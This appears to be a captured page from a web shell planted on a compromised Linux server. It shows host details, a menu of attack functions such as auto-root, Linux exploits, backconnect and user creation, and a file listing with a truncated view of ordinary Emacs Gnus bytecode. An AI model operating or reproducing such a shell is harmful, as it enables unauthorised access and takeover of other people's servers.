Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
emacs /
27.1 /
lisp /
gnus /
[ HOME SHELL ]
Name
Size
Permission
Action
.dir-locals.el
105
B
-rw-r--r--
canlock.elc
5.71
KB
-rw-r--r--
deuglify.elc
7.85
KB
-rw-r--r--
gmm-utils.elc
5.79
KB
-rw-r--r--
gnus-agent.elc
119.17
KB
-rw-r--r--
gnus-art.elc
262.11
KB
-rw-r--r--
gnus-async.elc
11.71
KB
-rw-r--r--
gnus-bcklg.elc
2.85
KB
-rw-r--r--
gnus-bookmark.elc
25.33
KB
-rw-r--r--
gnus-cache.elc
24.08
KB
-rw-r--r--
gnus-cite.elc
26.28
KB
-rw-r--r--
gnus-cloud.elc
18.45
KB
-rw-r--r--
gnus-cus.elc
39.5
KB
-rw-r--r--
gnus-delay.elc
4.61
KB
-rw-r--r--
gnus-demon.elc
7.52
KB
-rw-r--r--
gnus-diary.elc
8.41
KB
-rw-r--r--
gnus-dired.elc
8.03
KB
-rw-r--r--
gnus-draft.elc
12.03
KB
-rw-r--r--
gnus-dup.elc
4.59
KB
-rw-r--r--
gnus-eform.elc
4.76
KB
-rw-r--r--
gnus-fun.elc
9.93
KB
-rw-r--r--
gnus-gravatar.elc
4.15
KB
-rw-r--r--
gnus-group.elc
154.92
KB
-rw-r--r--
gnus-html.elc
13.41
KB
-rw-r--r--
gnus-icalendar.elc
40.93
KB
-rw-r--r--
gnus-int.elc
58.83
KB
-rw-r--r--
gnus-kill.elc
19.24
KB
-rw-r--r--
gnus-logic.elc
5.15
KB
-rw-r--r--
gnus-mh.elc
2.96
KB
-rw-r--r--
gnus-ml.elc
6.08
KB
-rw-r--r--
gnus-mlspl.elc
6.48
KB
-rw-r--r--
gnus-msg.elc
84.49
KB
-rw-r--r--
gnus-notifications.elc
5.38
KB
-rw-r--r--
gnus-picon.elc
8.06
KB
-rw-r--r--
gnus-range.elc
11.97
KB
-rw-r--r--
gnus-registry.elc
34.53
KB
-rw-r--r--
gnus-rfc1843.elc
1.59
KB
-rw-r--r--
gnus-salt.elc
27.54
KB
-rw-r--r--
gnus-score.elc
74.27
KB
-rw-r--r--
gnus-sieve.elc
8.14
KB
-rw-r--r--
gnus-spec.elc
12.88
KB
-rw-r--r--
gnus-srvr.elc
50.09
KB
-rw-r--r--
gnus-start.elc
138.21
KB
-rw-r--r--
gnus-sum.elc
431.26
KB
-rw-r--r--
gnus-topic.elc
46.53
KB
-rw-r--r--
gnus-undo.elc
4.69
KB
-rw-r--r--
gnus-util.elc
49.29
KB
-rw-r--r--
gnus-uu.elc
55.9
KB
-rw-r--r--
gnus-vm.elc
2.42
KB
-rw-r--r--
gnus-win.elc
10.95
KB
-rw-r--r--
gnus.elc
158.84
KB
-rw-r--r--
gssapi.elc
2.27
KB
-rw-r--r--
legacy-gnus-agent.elc
6.35
KB
-rw-r--r--
mail-source.elc
28.21
KB
-rw-r--r--
message.elc
237.92
KB
-rw-r--r--
mm-archive.elc
2.95
KB
-rw-r--r--
mm-bodies.elc
5.84
KB
-rw-r--r--
mm-decode.elc
55.66
KB
-rw-r--r--
mm-encode.elc
6.13
KB
-rw-r--r--
mm-extern.elc
4.25
KB
-rw-r--r--
mm-partial.elc
3.05
KB
-rw-r--r--
mm-url.elc
9.75
KB
-rw-r--r--
mm-util.elc
24.33
KB
-rw-r--r--
mm-uu.elc
21.99
KB
-rw-r--r--
mm-view.elc
16.82
KB
-rw-r--r--
mml-sec.elc
35.2
KB
-rw-r--r--
mml-smime.elc
10.44
KB
-rw-r--r--
mml.elc
44.72
KB
-rw-r--r--
mml1991.elc
7.59
KB
-rw-r--r--
mml2015.elc
25.61
KB
-rw-r--r--
nnagent.elc
10.44
KB
-rw-r--r--
nnbabyl.elc
16.84
KB
-rw-r--r--
nndiary.elc
38.56
KB
-rw-r--r--
nndir.elc
2.67
KB
-rw-r--r--
nndoc.elc
30.1
KB
-rw-r--r--
nndraft.elc
10.55
KB
-rw-r--r--
nneething.elc
11.45
KB
-rw-r--r--
nnfolder.elc
32.39
KB
-rw-r--r--
nngateway.elc
2.88
KB
-rw-r--r--
nnheader.elc
34.72
KB
-rw-r--r--
nnimap.elc
73.06
KB
-rw-r--r--
nnir.elc
62.86
KB
-rw-r--r--
nnmail.elc
52.09
KB
-rw-r--r--
nnmaildir.elc
90.83
KB
-rw-r--r--
nnmairix.elc
72.33
KB
-rw-r--r--
nnmbox.elc
18.57
KB
-rw-r--r--
nnmh.elc
15.14
KB
-rw-r--r--
nnml.elc
33.63
KB
-rw-r--r--
nnnil.elc
1.63
KB
-rw-r--r--
nnoo.elc
8.63
KB
-rw-r--r--
nnregistry.elc
1.72
KB
-rw-r--r--
nnrss.elc
29.02
KB
-rw-r--r--
nnspool.elc
15.72
KB
-rw-r--r--
nntp.elc
111.69
KB
-rw-r--r--
nnvirtual.elc
18.31
KB
-rw-r--r--
nnweb.elc
16.67
KB
-rw-r--r--
score-mode.elc
4.93
KB
-rw-r--r--
smiley.elc
5.31
KB
-rw-r--r--
smime.elc
18.76
KB
-rw-r--r--
spam-report.elc
11.41
KB
-rw-r--r--
spam-stat.elc
19.39
KB
-rw-r--r--
spam-wash.elc
1.23
KB
-rw-r--r--
spam.elc
80.84
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : nnimap.elc
;ELC ;;; Compiled ;;; in Emacs version 27.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. ;;; This file does not contain utf-8 non-ASCII characters, ;;; and so can be loaded in Emacs versions earlier than 23. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\302\303!\210\302\304!\210\302\305!\210\302\306!\210\302\307!\210\302\310!\210\302\311!\210\312\313\314\"\210\312\315\314\"\210\316\236\2039 \316\236A\317\320\321\"\240\210\202D \316\317\320\321\"\321\211FB\316 \236\204P \316\322D B\321\207" [nnoo-definition-alist nnoo-state-alist require nnheader gnus-util gnus nnoo netrc utf7 nnmail autoload auth-source-forget+ "auth-source" auth-source-search nnimap mapcar list nil "*internal-non-initialized-backend*"] 4) #@105 The address of the IMAP server. This is a Gnus server variable. See Info node `(gnus)Select Methods'. (defvar nnimap-address nil (#$ . 889)) (nnoo-define 'nnimap-address nil) #@128 Username to use for authentication to the IMAP server. This is a Gnus server variable. See Info node `(gnus)Select Methods'. (defvar nnimap-user nil (#$ . 1073)) (nnoo-define 'nnimap-user nil) #@186 The IMAP port used. If nnimap-stream is `ssl', this will default to `imaps'. If not, it will default to `imap'. This is a Gnus server variable. See Info node `(gnus)Select Methods'. (defvar nnimap-server-port nil (#$ . 1275)) (nnoo-define 'nnimap-server-port nil) #@319 Whether to use IMAP namespaces. If in Gnus your folder names in all start with (e.g.) `INBOX', you probably want to set this to t. The effects of this are purely cosmetic, but changing this variable will affect the names of your nnimap groups. This is a Gnus server variable. See Info node `(gnus)Select Methods'. (defvar nnimap-use-namespaces nil (#$ . 1549)) (nnoo-define 'nnimap-use-namespaces nil) #@296 How nnimap talks to the IMAP server. The value should be either `undecided', `ssl' or `tls', `network', `starttls', `plain', or `shell'. If the value is `undecided', nnimap tries `ssl' first, then falls back on `network'. This is a Gnus server variable. See Info node `(gnus)Select Methods'. (defvar nnimap-stream 'undecided (#$ . 1962)) (nnoo-define 'nnimap-stream nil) #@264 What command to execute to connect to an IMAP server. This will only be used if the connection type is `shell'. See the `open-network-stream' documentation for an explanation of the format. This is a Gnus server variable. See Info node `(gnus)Select Methods'. (defvar nnimap-shell-program (byte-code "\301\300!\203 <\203 @\207\207\302\207" [imap-shell-program boundp "ssh %s imapd"] 2) (#$ . 2343)) (nnoo-define 'nnimap-shell-program nil) #@226 The mail box where incoming mail arrives and should be split out of. This can be a string or a list of strings For example, "INBOX" or ("INBOX" "SENT"). This is a Gnus server variable. See Info node `(gnus)Select Methods'. (defvar nnimap-inbox nil (#$ . 2797)) (nnoo-define 'nnimap-inbox nil) #@140 How mail is split. Uses the same syntax as `nnmail-split-methods'. This is a Gnus server variable. See Info node `(gnus)Select Methods'. (defvar nnimap-split-methods nil (#$ . 3099)) (nnoo-define 'nnimap-split-methods nil) #@119 Uses the same syntax as `nnmail-split-fancy'. This is a Gnus server variable. See Info node `(gnus)Select Methods'. (defvar nnimap-split-fancy nil (#$ . 3331)) (nnoo-define 'nnimap-split-fancy nil) #@148 Articles with the flags in the list will not be considered when splitting. This is a Gnus server variable. See Info node `(gnus)Select Methods'. (defvar nnimap-unsplittable-articles '(%Deleted %Seen) (#$ . 3538)) (byte-code "\300\301\302\"\210\303\304\305\306#\207" [nnoo-define nnimap-unsplittable-articles nil make-obsolete-variable nnimap-split-rule "see `nnimap-split-methods'." "Emacs 24.1"] 4) #@213 How nnimap authenticate itself to the server. Possible choices are nil (use default methods), `anonymous', `login', `plain' and `cram-md5'. This is a Gnus server variable. See Info node `(gnus)Select Methods'. (defvar nnimap-authenticator nil (#$ . 3947)) (nnoo-define 'nnimap-authenticator nil) #@815 When to expunge deleted messages. If `never', deleted articles are marked with the IMAP \Delete flag but not automatically expunged. If `immediately', deleted articles are immediately expunged (this requires the server to support the UID EXPUNGE command). If `on-exit', deleted articles are flagged, and all flagged articles are expunged when the group is closed. For backwards compatibility, this variable may also be set to t or nil. If the server supports UID EXPUNGE, both t and nil are equivalent to `immediately'. If the server does not support UID EXPUNGE nil is equivalent to `never', while t will immediately expunge ALL articles that are currently flagged as deleted (i.e., potentially not only the article that was just deleted). This is a Gnus server variable. See Info node `(gnus)Select Methods'. (defvar nnimap-expunge 'on-exit (#$ . 4252)) (nnoo-define 'nnimap-expunge nil) #@210 If non-nil, try to use streaming commands with IMAP servers. Switching this off will make nnimap slower, but it helps with some servers. This is a Gnus server variable. See Info node `(gnus)Select Methods'. (defvar nnimap-streaming t (#$ . 5152)) (nnoo-define 'nnimap-streaming nil) (defvar nnimap-connection-alist nil) (nnoo-define 'nnimap-connection-alist nil) (defvar nnimap-current-infos nil) (nnoo-define 'nnimap-current-infos nil) (defvar nnimap-namespace nil) (nnoo-define 'nnimap-namespace nil) #@315 If non-nil, Gnus will fetch partial articles. If t, Gnus will fetch only the first part. If a string, it will fetch all parts that have types that match that string. A likely value would be "text/" to automatically fetch all textual parts. This is a Gnus server variable. See Info node `(gnus)Select Methods'. (defvar nnimap-fetch-partial-articles nil (#$ . 5664)) (byte-code "\300\301\302\"\210\303\304\302\305\306\307%\210\310\311\302\312\313\314\315\316\306\304& \207" [nnoo-define nnimap-fetch-partial-articles nil custom-declare-group nnimap "IMAP for Gnus." :group gnus custom-declare-variable nnimap-request-articles-find-limit "Limit the number of articles to look for after moving an article." :type (choice (const nil) integer) :version "24.4"] 10) (defvar nnimap-process nil) (defvar nnimap-status-string "") #@72 Internal variable with default value for `nnimap-split-download-body'. (defvar nnimap-split-download-body-default nil (#$ . 6494)) (defvar nnimap-keepalive-timer nil) (defvar nnimap-process-buffers nil) #@41 compiler-macro for inlining `nnimap-p'. (defalias 'nnimap-p--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block nnimap-p (and (memq (type-of cl-x) cl-struct-nnimap-tags) t)) nil] 7 (#$ . 6703)]) (put 'nnimap-p 'compiler-macro 'nnimap-p--cmacro) (defalias 'nnimap-p #[(cl-x) "\302! >\205 \303\207" [cl-x cl-struct-nnimap-tags type-of t] 2]) (byte-code "\300\301\302\303#\304\305\306\301#\207" [function-put nnimap-p side-effect-free error-free put nnimap cl-deftype-satisfies] 5) #@45 compiler-macro for inlining `nnimap-group'. (defalias 'nnimap-group--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block nnimap-group (progn (or (nnimap-p cl-x) (signal 'wrong-type-argument (list 'nnimap cl-x))) (aref cl-x 1))) nil] 7 (#$ . 7246)]) (put 'nnimap-group 'compiler-macro 'nnimap-group--cmacro) #@46 Access slot "group" of `nnimap' struct CL-X. (defalias 'nnimap-group #[(cl-x) "\302! >\204 \303\304\305D\"\210\306H\207" [cl-x cl-struct-nnimap-tags type-of signal wrong-type-argument nnimap 1] 4 (#$ . 7614)]) (byte-code "\300\301\302\303#\300\207" [function-put nnimap-group side-effect-free t] 4) #@47 compiler-macro for inlining `nnimap-process'. (defalias 'nnimap-process--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block nnimap-process (progn (or (nnimap-p cl-x) (signal 'wrong-type-argument (list 'nnimap cl-x))) (aref cl-x 2))) nil] 7 (#$ . 7923)]) (put 'nnimap-process 'compiler-macro 'nnimap-process--cmacro) #@48 Access slot "process" of `nnimap' struct CL-X. (defalias 'nnimap-process #[(cl-x) "\302! >\204 \303\304\305D\"\210\306H\207" [cl-x cl-struct-nnimap-tags type-of signal wrong-type-argument nnimap 2] 4 (#$ . 8301)]) (byte-code "\300\301\302\303#\300\207" [function-put nnimap-process side-effect-free t] 4) #@48 compiler-macro for inlining `nnimap-commands'. (defalias 'nnimap-commands--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block nnimap-commands (progn (or (nnimap-p cl-x) (signal 'wrong-type-argument (list 'nnimap cl-x))) (aref cl-x 3))) nil] 7 (#$ . 8616)]) (put 'nnimap-commands 'compiler-macro 'nnimap-commands--cmacro) #@49 Access slot "commands" of `nnimap' struct CL-X. (defalias 'nnimap-commands #[(cl-x) "\302! >\204 \303\304\305D\"\210\306H\207" [cl-x cl-struct-nnimap-tags type-of signal wrong-type-argument nnimap 3] 4 (#$ . 8999)]) (byte-code "\300\301\302\303#\300\207" [function-put nnimap-commands side-effect-free t] 4) #@52 compiler-macro for inlining `nnimap-capabilities'. (defalias 'nnimap-capabilities--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block nnimap-capabilities (progn (or (nnimap-p cl-x) (signal 'wrong-type-argument (list 'nnimap cl-x))) (aref cl-x 4))) nil] 7 (#$ . 9317)]) (put 'nnimap-capabilities 'compiler-macro 'nnimap-capabilities--cmacro) #@53 Access slot "capabilities" of `nnimap' struct CL-X. (defalias 'nnimap-capabilities #[(cl-x) "\302! >\204 \303\304\305D\"\210\306H\207" [cl-x cl-struct-nnimap-tags type-of signal wrong-type-argument nnimap 4] 4 (#$ . 9720)]) (byte-code "\300\301\302\303#\300\207" [function-put nnimap-capabilities side-effect-free t] 4) #@53 compiler-macro for inlining `nnimap-select-result'. (defalias 'nnimap-select-result--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block nnimap-select-result (progn (or (nnimap-p cl-x) (signal 'wrong-type-argument (list 'nnimap cl-x))) (aref cl-x 5))) nil] 7 (#$ . 10050)]) (put 'nnimap-select-result 'compiler-macro 'nnimap-select-result--cmacro) #@54 Access slot "select-result" of `nnimap' struct CL-X. (defalias 'nnimap-select-result #[(cl-x) "\302! >\204 \303\304\305D\"\210\306H\207" [cl-x cl-struct-nnimap-tags type-of signal wrong-type-argument nnimap 5] 4 (#$ . 10459)]) (byte-code "\300\301\302\303#\300\207" [function-put nnimap-select-result side-effect-free t] 4) #@48 compiler-macro for inlining `nnimap-newlinep'. (defalias 'nnimap-newlinep--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block nnimap-newlinep (progn (or (nnimap-p cl-x) (signal 'wrong-type-argument (list 'nnimap cl-x))) (aref cl-x 6))) nil] 7 (#$ . 10793)]) (put 'nnimap-newlinep 'compiler-macro 'nnimap-newlinep--cmacro) #@49 Access slot "newlinep" of `nnimap' struct CL-X. (defalias 'nnimap-newlinep #[(cl-x) "\302! >\204 \303\304\305D\"\210\306H\207" [cl-x cl-struct-nnimap-tags type-of signal wrong-type-argument nnimap 6] 4 (#$ . 11177)]) (byte-code "\300\301\302\303#\300\207" [function-put nnimap-newlinep side-effect-free t] 4) #@46 compiler-macro for inlining `nnimap-server'. (defalias 'nnimap-server--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block nnimap-server (progn (or (nnimap-p cl-x) (signal 'wrong-type-argument (list 'nnimap cl-x))) (aref cl-x 7))) nil] 7 (#$ . 11496)]) (put 'nnimap-server 'compiler-macro 'nnimap-server--cmacro) #@47 Access slot "server" of `nnimap' struct CL-X. (defalias 'nnimap-server #[(cl-x) "\302! >\204 \303\304\305D\"\210\306H\207" [cl-x cl-struct-nnimap-tags type-of signal wrong-type-argument nnimap 7] 4 (#$ . 11870)]) (byte-code "\300\301\302\303#\300\207" [function-put nnimap-server side-effect-free t] 4) #@57 compiler-macro for inlining `nnimap-last-command-time'. (defalias 'nnimap-last-command-time--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block nnimap-last-command-time (progn (or (nnimap-p cl-x) (signal 'wrong-type-argument (list 'nnimap cl-x))) (aref cl-x 8))) nil] 7 (#$ . 12183)]) (put 'nnimap-last-command-time 'compiler-macro 'nnimap-last-command-time--cmacro) #@58 Access slot "last-command-time" of `nnimap' struct CL-X. (defalias 'nnimap-last-command-time #[(cl-x) "\302! >\204 \303\304\305D\"\210\306H\207" [cl-x cl-struct-nnimap-tags type-of signal wrong-type-argument nnimap 8] 4 (#$ . 12612)]) (byte-code "\300\301\302\303#\300\207" [function-put nnimap-last-command-time side-effect-free t] 4) #@48 compiler-macro for inlining `nnimap-greeting'. (defalias 'nnimap-greeting--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block nnimap-greeting (progn (or (nnimap-p cl-x) (signal 'wrong-type-argument (list 'nnimap cl-x))) (aref cl-x 9))) nil] 7 (#$ . 12958)]) (put 'nnimap-greeting 'compiler-macro 'nnimap-greeting--cmacro) #@49 Access slot "greeting" of `nnimap' struct CL-X. (defalias 'nnimap-greeting #[(cl-x) "\302! >\204 \303\304\305D\"\210\306H\207" [cl-x cl-struct-nnimap-tags type-of signal wrong-type-argument nnimap 9] 4 (#$ . 13342)]) (byte-code "\300\301\302\303#\300\207" [function-put nnimap-greeting side-effect-free t] 4) #@48 compiler-macro for inlining `nnimap-examined'. (defalias 'nnimap-examined--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block nnimap-examined (progn (or (nnimap-p cl-x) (signal 'wrong-type-argument (list 'nnimap cl-x))) (aref cl-x 10))) nil] 7 (#$ . 13661)]) (put 'nnimap-examined 'compiler-macro 'nnimap-examined--cmacro) #@49 Access slot "examined" of `nnimap' struct CL-X. (defalias 'nnimap-examined #[(cl-x) "\302! >\204 \303\304\305D\"\210\306H\207" [cl-x cl-struct-nnimap-tags type-of signal wrong-type-argument nnimap 10] 4 (#$ . 14046)]) (byte-code "\300\301\302\303#\300\207" [function-put nnimap-examined side-effect-free t] 4) #@51 compiler-macro for inlining `nnimap-stream-type'. (defalias 'nnimap-stream-type--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block nnimap-stream-type (progn (or (nnimap-p cl-x) (signal 'wrong-type-argument (list 'nnimap cl-x))) (aref cl-x 11))) nil] 7 (#$ . 14366)]) (put 'nnimap-stream-type 'compiler-macro 'nnimap-stream-type--cmacro) #@52 Access slot "stream-type" of `nnimap' struct CL-X. (defalias 'nnimap-stream-type #[(cl-x) "\302! >\204 \303\304\305D\"\210\306H\207" [cl-x cl-struct-nnimap-tags type-of signal wrong-type-argument nnimap 11] 4 (#$ . 14766)]) (byte-code "\300\301\302\303#\300\207" [function-put nnimap-stream-type side-effect-free t] 4) #@54 compiler-macro for inlining `nnimap-initial-resync'. (defalias 'nnimap-initial-resync--cmacro #[(_cl-whole-arg cl-x) "\301\302\303\304\211\211&\207" [cl-x cl--defsubst-expand (cl-x) (cl-block nnimap-initial-resync (progn (or (nnimap-p cl-x) (signal 'wrong-type-argument (list 'nnimap cl-x))) (aref cl-x 12))) nil] 7 (#$ . 15095)]) (put 'nnimap-initial-resync 'compiler-macro 'nnimap-initial-resync--cmacro) #@55 Access slot "initial-resync" of `nnimap' struct CL-X. (defalias 'nnimap-initial-resync #[(cl-x) "\302! >\204 \303\304\305D\"\210\306H\207" [cl-x cl-struct-nnimap-tags type-of signal wrong-type-argument nnimap 12] 4 (#$ . 15510)]) (byte-code "\300\301\302\303#\304\305\306\"\207" [function-put nnimap-initial-resync side-effect-free t defalias copy-nnimap copy-sequence] 4) #@203 compiler-macro for inlining `make-nnimap'. (fn CL-WHOLE &cl-quote &key GROUP PROCESS COMMANDS CAPABILITIES SELECT-RESULT NEWLINEP SERVER LAST-COMMAND-TIME GREETING EXAMINED STREAM-TYPE INITIAL-RESYNC) (defalias 'make-nnimap--cmacro #[(cl-whole &rest #1=#:--cl-rest--) "\306\307\"A@\306\310\"A@\306\311\"A@\306\312\"A@\306\313\"A@\306\314\"A@\306\315\"A@\306\316\"A@\306\317\"A@\306\320\"A@\306\321\"A@ \306\322\"A@!\"\"\203\216 \"@\323>\203u \"AA\211\"\202` \324>A@\203\204 \325\211\"\202` \326\327\"@\"\210\202^ )\330\331\332\325#\325 \n\f !&.\f\207" [#1# group process commands capabilities select-result plist-member :group :process :commands :capabilities :select-result :newlinep :server :last-command-time :greeting :examined :stream-type :initial-resync (:group :process :commands :capabilities :select-result :newlinep :server :last-command-time :greeting :examined :stream-type :initial-resync :allow-other-keys) :allow-other-keys nil error "Keyword argument %s not one of (:group :process :commands :capabilities :select-result :newlinep :server :last-command-time :greeting :examined :stream-type :initial-resync)" cl--defsubst-expand (group process commands capabilities select-result newlinep server last-command-time greeting examined stream-type initial-resync) (cl-block make-nnimap (record 'nnimap group process commands capabilities select-result newlinep server last-command-time greeting examined stream-type initial-resync)) newlinep server last-command-time greeting examined stream-type initial-resync #2=#:--cl-keys-- cl-whole] 19 (#$ . 15894)]) (put 'make-nnimap 'compiler-macro 'make-nnimap--cmacro) #@183 Constructor for objects of type `nnimap'. (fn &key GROUP PROCESS COMMANDS CAPABILITIES SELECT-RESULT NEWLINEP SERVER LAST-COMMAND-TIME GREETING EXAMINED STREAM-TYPE INITIAL-RESYNC) (defalias 'make-nnimap #[(&rest #1=#:--cl-rest--) "\306\307\"A@\306\310\"A@\306\311\"A@\306\312\"A@\306\313\"A@\306\314\"A@\306\315\"A@\306\316\"A@\306\317\"A@\306\320\"A@\306\321\"A@\306\322\"A@ !!\203\216 !@\323>\203u !AA\211!\202` \324>A@\203\204 \325\211!\202` \326\327!@\"\210\202^ )\330\331 \n\f & .\f\207" [#1# group process commands capabilities select-result plist-member :group :process :commands :capabilities :select-result :newlinep :server :last-command-time :greeting :examined :stream-type :initial-resync (:group :process :commands :capabilities :select-result :newlinep :server :last-command-time :greeting :examined :stream-type :initial-resync :allow-other-keys) :allow-other-keys nil error "Keyword argument %s not one of (:group :process :commands :capabilities :select-result :newlinep :server :last-command-time :greeting :examined :stream-type :initial-resync)" record nnimap newlinep server last-command-time greeting examined stream-type initial-resync #2=#:--cl-keys--] 15 (#$ . 17582)]) (byte-code "\300\301\302\303#\304\305\306\307\310\306\311\312\305\303& \207" [function-put make-nnimap side-effect-free t cl-struct-define nnimap nil cl-structure-object record ((cl-tag-slot) (group) (process) (commands) (capabilities) (select-result) (newlinep) (server) (last-command-time) (greeting) (examined) (stream-type) (initial-resync)) cl-struct-nnimap-tags] 11) (defvar nnimap-object nil) (defvar nnimap-mark-alist '((read "\\Seen" %Seen) (tick "\\Flagged" %Flagged) (reply "\\Answered" %Answered) (expire "gnus-expire") (dormant "gnus-dormant") (score "gnus-score") (save "gnus-save") (download "gnus-download") (forward "gnus-forward"))) (defvar nnimap-quirks '(("QRESYNC" "Zimbra" "QRESYNC ") ("MOVE" "Dovecot" nil))) (defvar nnimap-inhibit-logging nil) #@47 Convert Gnus group name to IMAP mailbox name. (defalias 'nnimap-group-to-imap #[(group) "\205 \303\304\305#\306 \203 \n \230\203 \n\202* \307\310\n\"\203'